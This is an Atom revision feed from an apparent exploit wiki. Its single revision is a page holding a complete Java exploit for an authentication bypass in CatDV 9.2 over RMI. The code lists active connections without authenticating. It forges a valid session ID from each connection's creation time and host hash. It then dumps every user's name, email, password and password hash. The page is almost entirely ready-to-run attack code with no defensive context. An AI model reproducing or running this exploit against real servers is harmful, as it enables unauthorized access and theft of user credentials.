<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CatDV_9.2_-_RMI_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E</id>
	<title>CatDV 9.2 - RMI 身份驗證繞過漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CatDV_9.2_-_RMI_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CatDV_9.2_-_RMI_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-08T10:39:12Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CatDV_9.2_-_RMI_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=1713&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: CatDV 9.2 - RMI Authentication Bypass  # Exploit Author: Christopher Ellis, Nick Gonella, Workday Inc. # Vendor Homepage: https://catdv.com/ # S...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CatDV_9.2_-_RMI_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=1713&amp;oldid=prev"/>
		<updated>2021-04-16T09:11:14Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: CatDV 9.2 - RMI Authentication Bypass  # Exploit Author: Christopher Ellis, Nick Gonella, Workday Inc. # Vendor Homepage: https://catdv.com/ # S...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: CatDV 9.2 - RMI Authentication Bypass &lt;br /&gt;
# Exploit Author: Christopher Ellis, Nick Gonella, Workday Inc.&lt;br /&gt;
# Vendor Homepage: https://catdv.com/&lt;br /&gt;
# Software Link: https://www.squarebox.com/download/CatDVServer9.2.0.exe&lt;br /&gt;
# Version: 9.2 and lower&lt;br /&gt;
# Tested on: Windows, Mac&lt;br /&gt;
 &lt;br /&gt;
import org.h2.engine.User;&lt;br /&gt;
import squarebox.catdv.shared.*;&lt;br /&gt;
 &lt;br /&gt;
import java.net.MalformedURLException;&lt;br /&gt;
import java.rmi.Naming;&lt;br /&gt;
import java.rmi.NotBoundException;&lt;br /&gt;
import java.rmi.RemoteException;&lt;br /&gt;
 &lt;br /&gt;
public class Runnable {&lt;br /&gt;
    public Runnable() throws RemoteException, NotBoundException, MalformedURLException { }&lt;br /&gt;
 &lt;br /&gt;
    private static int getValidSession(long createdTime, String claimedHost) {&lt;br /&gt;
        return (int)createdTime + claimedHost.hashCode();&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    private static void printFields(SField[] fields) {&lt;br /&gt;
        for (SField field : fields) {&lt;br /&gt;
            System.out.println(field.fieldDefID);&lt;br /&gt;
            System.out.println(field.value);&lt;br /&gt;
            System.out.println(field.fieldDefinition);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    public static void main(String args[]) throws RemoteException, NotBoundException, MalformedURLException {&lt;br /&gt;
        String target = &amp;quot;rmi://&amp;lt;HOST&amp;gt;:1099/CatDVServer&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
        ServerAPI look_up = (ServerAPI) Naming.lookup(target);&lt;br /&gt;
 &lt;br /&gt;
        System.out.println(&amp;quot;Trying to get all connections&amp;quot;);&lt;br /&gt;
        SConnection[] connections = look_up.getConnections();&lt;br /&gt;
        for (SConnection element : connections) {&lt;br /&gt;
            System.out.println(&amp;quot;Found connection:&amp;quot;);&lt;br /&gt;
            System.out.println(&amp;quot;CatDVUser:&amp;quot;+ element.catdvUser);&lt;br /&gt;
            System.out.println(&amp;quot;ApiVersion:&amp;quot;+ element.apiVersion);&lt;br /&gt;
            System.out.println(&amp;quot;User:&amp;quot;+ element.user);&lt;br /&gt;
            System.out.println(&amp;quot;ClaimedHost:&amp;quot;+ element.claimedHost);&lt;br /&gt;
            System.out.println(&amp;quot;ActualHost:&amp;quot;+ element.actualHost);&lt;br /&gt;
            System.out.println(&amp;quot;Created:&amp;quot;+ element.created);&lt;br /&gt;
            System.out.println(&amp;quot;LastUsed:&amp;quot;+ element.lastUsed);&lt;br /&gt;
            System.out.println(&amp;quot;Client features:&amp;quot;+ element.clientFeatures);&lt;br /&gt;
            System.out.println(&amp;quot;\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        System.out.println(&amp;quot;Getting system properties&amp;quot;);&lt;br /&gt;
        System.out.println(&amp;quot;Running from: &amp;quot;+look_up.getProperty(&amp;quot;user.dir&amp;quot;));&lt;br /&gt;
        System.out.println(&amp;quot;Running on: &amp;quot;+look_up.getProperty(&amp;quot;os.arch&amp;quot;));&lt;br /&gt;
        System.out.println(&amp;quot;Java version: &amp;quot;+look_up.getProperty(&amp;quot;java.version&amp;quot;));&lt;br /&gt;
 &lt;br /&gt;
        //We can create a new client from most of the fields found in the existing connections which we can dump anonymously&lt;br /&gt;
        ClientID bob=new  ClientID(&lt;br /&gt;
                connections[0].catdvUser,&lt;br /&gt;
                connections[0].claimedHost,&lt;br /&gt;
                getValidSession(connections[0].created,connections[0].claimedHost),&lt;br /&gt;
                connections[0].created,&lt;br /&gt;
                &amp;quot;&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
        System.out.println(&amp;quot;\nCreated a new client with parameters: \n&amp;quot; +&lt;br /&gt;
                &amp;quot;&amp;quot; + &amp;quot;user:&amp;quot;+connections[0].catdvUser+&amp;quot;\n&amp;quot;+&lt;br /&gt;
                &amp;quot;&amp;quot; + &amp;quot;claimedHost:&amp;quot;+connections[0].claimedHost+&amp;quot;\n&amp;quot;+&lt;br /&gt;
                &amp;quot;&amp;quot; + &amp;quot;session:&amp;quot;+getValidSession(connections[0].created,connections[0].claimedHost)+&amp;quot;\n&amp;quot;+&lt;br /&gt;
                &amp;quot;&amp;quot; + &amp;quot;created:&amp;quot;+connections[0].created+&amp;quot;\n&amp;quot;+&lt;br /&gt;
                &amp;quot;&amp;quot; + &amp;quot;pubkey:&amp;quot;+&amp;quot;&amp;quot;+&lt;br /&gt;
                &amp;quot;&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
        String status = look_up.getStatus(bob);&lt;br /&gt;
        System.out.println(&amp;quot;Status is: \n &amp;quot;+status);&lt;br /&gt;
 &lt;br /&gt;
        System.out.println(&amp;quot;Attempting to dump users: \n&amp;quot;);&lt;br /&gt;
        SUser[] users=look_up.getUsers(bob, -1);&lt;br /&gt;
        for (SUser element: users) {&lt;br /&gt;
 &lt;br /&gt;
            System.out.println(element.name);&lt;br /&gt;
            System.out.println(element.passwordHash);&lt;br /&gt;
                System.out.println(&amp;quot;id:&amp;quot; + element.ID);&lt;br /&gt;
                System.out.println(&amp;quot;realname:&amp;quot; + element.realname);&lt;br /&gt;
                System.out.println(&amp;quot;email:&amp;quot; + element.email);&lt;br /&gt;
                System.out.println(&amp;quot;password:&amp;quot; + element.password);&lt;br /&gt;
                System.out.println(&amp;quot;notes:&amp;quot; + element.notes);&lt;br /&gt;
                System.out.println(&amp;quot;inactive:&amp;quot; + element.inactive);&lt;br /&gt;
                System.out.println(&amp;quot;RoleiD:&amp;quot; + element.roleID);&lt;br /&gt;
                System.out.println(&amp;quot;hash:&amp;quot; + element.passwordHash);&lt;br /&gt;
                System.out.println(&amp;quot;&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>